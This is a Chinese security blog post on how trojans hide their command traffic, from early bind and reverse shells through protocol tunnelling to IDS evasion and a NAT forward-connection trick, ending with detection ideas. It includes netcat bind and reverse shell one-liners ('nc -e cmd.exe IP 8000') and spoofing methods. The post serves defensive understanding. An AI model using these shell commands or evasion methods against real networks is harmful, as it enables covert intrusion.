匿名信使:木马隐蔽通信浅谈

2021-06-09 18:41:30 浏览数 (1)

文|lake2

【前言】

这是前文《网络层绕过IDS/IPS的一些探索》[1]的延续,当时就想可以用四层以下的协议实现木马通信绕过各类IDS/IPS的检测,一直没有找到时间测试,正好这次攻防演练值守期间有了机会。

标题之所以用“匿名信使”,是因为很久以前有一款利用Windows下net send自动化批量发送消息的软件叫做匿名信使 —— 当年net send发送的匿名消息在Windows2000/XP下大行其道,现在发现居然这个命令都不存在了(Vista以后已经被msg命令替代),致敬作者和那个时代。

【木马常用通信协议对抗进化】

国内第一代木马是什么?必须是国内最早最权威的安全社区xfocus团队成员glacier出品的冰河。

(冰河的界面,是不是跟XScan很像,因为是同一个作者。图片来自网络)(冰河的界面,是不是跟XScan很像,因为是同一个作者。图片来自网络)

冰河会开放主机的TCP 7626端口等待服务端控制。这是第一代木马被动通信模式:开放端口(主要是TCP端口,当然也可以用UDP),类似使用nc -l -p 7626 -e cmd.exe 。开端口这个方式的弊端就是要在主机开放端口,netstat命令或者主机防火墙很容易就发现开了个端口,同时如果被控端在内网或者有防火墙就没有办法连上。

于是就很快进化出第二代木马主动通信模式(反向连接,典型代表是葛军的灰鸽子):不开端口,由木马反向去连接服务端,nc -e cmd.exe IP 8000,这个模式较之上一代优势很明显,被控端在内部网络也能穿透防火墙或NAT,当年防火墙对出站检查比较松,特别是端口使用TCP 80,让防火墙以为是在浏览网页,颇具迷惑性。

(灰鸽子界面,图片来自百度)(灰鸽子界面,图片来自百度)

但是很快安全系统的策略也跟上了,因为这个模式要产生一条TCP出站通信,基于主机的安全软件可以实时拦截进程的网络行为(还记得天网防火墙吗)。

(曾经风靡一时的天网防火墙。图片来自网络)(曾经风靡一时的天网防火墙。图片来自网络)

第三代木马通信开始使用常见应用层协议迷惑防火墙(灰鸽子会在Windows下以DLL形式注入浏览器进程,通信协议也伪装成了HTTP还直接调用浏览器里设置的代理),常见的方法就是使用HTTPTunnel把TCP协议转成HTTP协议,绕过防火墙。

(HTTP协议穿过防火墙/HTTP代理。来自http-tunnel)(HTTP协议穿过防火墙/HTTP代理。来自http-tunnel)

后来随着业务形态的发展,还真的有了使用HTTP协议的木马 —— WebShell。

类似的, DNS协议也成为一个不错的方案[2]。这个更适合只支持域名解析的场景,不过频繁的奇怪的域名请求会被IDS检测到异常,一些正常程序在极端网络环境下也会采用这个方案传输数据。

ICMP也是一个比较好的通信载体[3]。ICMP协议经常会被路由器各种转发,只有type为0和8的ICMP包(ICMP请求与响应,就是通俗说的ping包)更容易通过各种网络。

ICMP和DNS隧道的检测方法类似,均可以使用机器学习来解决:ICMP包的目标、大小、频率、内容来建立基线,是很容易发现异常通信的。Windows/Linux下的ping包内容就很工整,AI学习下网络里常见的ICMP包内容就行了。

(Windows下的ping包内容)(Windows下的ping包内容)

第四代木马通信可能要算使用加密应用层协议了,HTTPS是一个典型,毕竟HTTP是明文的容易被揪出来,HTTPS则可以让IDS迷茫好长一段时间 —— 行业也有一些对HTTPS木马通信的分析研究和实践[4],主要还是基于统计分析,对特定场景可能有效,总的来看效果一般。既然加密协议很难解密,除了统计类,现在比较好的落地方案是检测IP和域名的信誉度,于是又引发了新一轮对抗:Domain Fronting[5]及腾讯安全玄武实验室提出的Domain Borrowing[6]。

除了HTTPS,新兴的加密协议都可以用于通信,比如HTTP/2、WebSocket、QUIC……这些协议比现有协议都更有优势,都是未来技术发展的方向(比如QUIC,它基于UDP,“连接”速度更快,靠内容标识而不是五元组识别当前会话,所以切换网络瞬间应用无卡顿)。可以看到,随着这些新型加密协议的逐步应用,未来对基于网络层的流量分析系统是一个巨大挑战。

【非典型网络层协议利用】

基于本文范围,我们的探讨聚焦在TCP/IP的网络层和传输层协议,更高的应用层和更低的链路层协议甚至物理层都不在讨论范围。

回到TCP协议本身,所有类型的TCP包(不同的标志位)都可以用于通信,无非就是不建立三次握手把TCP当UDP用(其实也可以实现类似TCP连接的机制),所以只要链路上支持,syn、ack、synack、rst这些包都可以用于秘密通信。

好处很明显,自己构造发包不会走操作系统协议栈,即使建立TCP 连接也是在操作系统层面是看不到的(更何况还没有连接),可绕过主机防火墙,同理也可能绕过一些IDS/IPS。再就是不通过协议栈自己定制发包效率更高,Nmap的-sS扫描就比-sT快很多(当然误报率也大很多),定向优化异步扫描机制的Zmap号称一小时内可以扫完全部IPv4互联网地址。

弊端就是这些包不像TCP那样普适,在一些网关、路由上可能会被视为无效包而丢弃。

对于IP包也是类似,IP包有256个类型(IP包的proto字段取值0 - 255),在两台主机之间哪些类型的IP包可以通信呢?写个脚本穷举一遍看看。

(客户端基于Scapy的Python代码,遍历IP包类型发出)(客户端基于Scapy的Python代码,遍历IP包类型发出)
(目标服务器收到包)(目标服务器收到包)

发现256个包仅有proto值为1的包(即ICMP)通过网络到达目标服务器,因为我们填充的A覆盖了ICMP的type,所以tcpdump识别type是65 —— 说明任意类型甚至是不合法的ICMP包都可以在这两个主机间通信。

还可以用广播(Broadcast)和组播(Multicast)来绕过防火墙以及隐藏身份,当然对网络环境有一定要求。

把数据包发到255去,网内所有主机都能收到这个包,但IDS就不知道真正接收指令的主机是哪个,增加了排查难度。

再把源地址也改下,那排查起来就更麻烦了。记得当年笔者作为Red Team一员去测试我们自研的宙斯盾NIDS有效性的时候,发了一堆伪造源IP的syn包假装在进行syn扫描(nmap用-S参数),果然IDS告警,运营人员耗费大量时间排查无果。

组播也是类似,可以理解为是特殊的广播,典型的IP地址就是224.0.0.2,在你家局域网抓个包看看智能设备都在发组播做什么就知道了,不赘述。

如果是同一个路由下还可以在二层发包,伪造三层的数据包把包发到目标MAC地址,更加隐蔽。

既然那么多类型的包可以用于通信,那网络链路上到底支持哪些呢?写个脚本来fuzz一把。原理很简单,就是从A主机发送各种类型的数据包附带一个字符串到B主机,B如果收到就把字符串运算一下发回给A,A能收到那就说明该协议可用(想一想,为什么要运算一下而不是原字符串返回)。

下图的测试结果显示AB两个主机间ICMP协议和80端口的syn包可以用作通信。

下图的测试结果显示AB两个主机间ICMP协议和80端口的syn包可以用作通信。

(xProCmd.py测试两台主机间的网络协议通路)(xProCmd.py测试两台主机间的网络协议通路)

【一个数据包,实现NAT正向直连】

之所以出现反连shell的模式,就是因为NAT(Network Address Translation,网络地址转换)大量的使用。那么,现在我们来研究一个小问题:有没有办法实现NAT的正向直连?

有,而且当然不是直接在NAT上配置端口转发。

我们先看下NAT的工作原理[7],NAT会作为内外网的网关节点,类似中间人,把内外网IP地址互相转换,即外网看到的是外网地址,内网看到的是内网地址,使得双方能够正常通信。

 (NAT原理演示图,来自wikipedia) (NAT原理演示图,来自wikipedia)

我们来看看出站访问,内网主机A发送syn包到外网主机B的80端口,NAT网关拿到包后会拦下来,并基于这个包生成一个新的包,在外网主机B上面则是看到syn包来自NAT网关IP和新端口,它向这个IP端口回复的synack包(或者rst包)会被NAT网关同样转换后发给内网主机A,于是连接开始建立(或者不用建立)。

NAT转发的关键就是内网发起了syn包,所以我们很容易想到,如果我用内网主机的445端口为源端口发出数据包去,那岂不是外网主机到内网主机的445连接就是通畅的了?如果NAT网关不拦截入站的syn包那就可以建立正向连接了。

这个思路与tk教主的BadTunnel[8]有异曲同工之妙,大家可以体会下。

试试。

假设我内网主机192.168.1.29有个TCP 12345端口开启,这是用nc开了一个shell,需要正向连接。主机对外网主机3389端口发出了syn包,此时链路已通,外网主机只需要向发出syn包的IP端口发源端口是3389的syn包即可。

 (内网主机nc监听本地12345端口) (内网主机nc监听本地12345端口)
 (外网主机用源端口3389连接NAT网关,正向获得shell) (外网主机用源端口3389连接NAT网关,正向获得shell)

SSH客户端也可以指定源端口,感谢腾讯蓝军的neargle大师傅指点,用-o参数:ssh -o 'ProxyCommand nc -p 2345 %h %p' IP

实测部分NAT可以通过syn包打通连接,部分NAT则需要三次握手TCP连接建立之后才行(这个是NAT协议支持的Simultaneous TCP Open),有的NAT又完全不行,应该是各家设备厂商对NAT协议的具体实现的问题,有兴趣的同志可以继续深入研究这个课题。

如果把syn包的源地址改到其他内网主机,有可能会隐蔽地绕过一些ACL设置不严的情况 —— 至少安全系统可以多加几个策略了。

【网络层检测的一些想法】

随着主机层面的对抗日趋激烈,在操作系统层面EDR很难与rootkit纠缠,我们可以跳出操作系统层到网络层进行异常检测,这是对攻击者的降维打击。比如一些rootkit在主机层面的通信很难被检测到,那就检测主机的网络数据包(对一些WebShell也是类似思路) —— 这也是纵深防御思路的实践。同理,我们也可以跳出TCP/IP的应用层传输层到网络层(这个是指TCP/IP的第三层不是前述大的网络层概念)甚至链路层来实施降维打击。

所以,IDS要关注奇怪的低层通信数据包,可能这些不起眼的“无效”数据包正是木马的秘密通信;看起来一些数据包是错误发送到主机的,这本身就是一个异常;路由器层层传递,整个网络链路的流向也很关键,监听者可能就混迹其中 …… 当然,七层的数据包也需要关注,特别是常见的正常的加密协议流量 —— 在我看来,未来的网络流量分析一是要关注正常的加密流量,另一个就是低层协议。总之,只有依靠运营才是不断提升安全防御能力的王道[9]。

【后记】

欢乐时光过得快,又到时候说拜拜,最后老规矩,招人,基础安全各个领域特别是流量安全分析方向,除了传统的DDoS检测防护、网络层阻断、恶意流量检测[10],网络安全团队也在研究实践落地一些新东西,像AI应用于流量分析、基于XDP的单机DDoS防护系统、第三方云场景下的DDoS安全防护、P4/NPL可编程交换机及智能网卡应用等等,有意向的同志可投递简历。

【附录】

[1] 网络层绕过IDS/IPS的一些探索,https://mp.weixin.qq.com/s/QJeW7K-KThYHggWtJ-Fh3w

[2] 利用DNS隧道通信木马分析,https://zhuanlan.zhihu.com/p/33539224

[3] 利用ICMP进行命令控制和隧道传输,https://www.freebuf.com/news/210450.html

[4] 基于机器学习的恶意软件加密流量检测研究分享,https://www.pianshen.com/article/78921972706/

[5] High-reputation Redirectors and Domain Fronting,https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/

[6] Domain Borrowing: 一种基于CDN的新型隐蔽通信方法,https://xlab.tencent.com/cn/2021/05/14/domain-borrowing/

[7] NAT技术基本原理与应用,https://www.cnblogs.com/mefj/p/10578639.html

[8] Badtunnel远程恶意劫持利用,https://www.freebuf.com/articles/web/109345.html

[9] 小步快跑,快速迭代:安全运营的器术法道,https://mp.weixin.qq.com/s/rc6X5SlsoRp6s7RCEZ67mA

[10] 流量分析在安全攻防上的探索实践,https://mp.weixin.qq.com/s/xz9v7cxQiGdsCUWbl5Lp1A

0 人点赞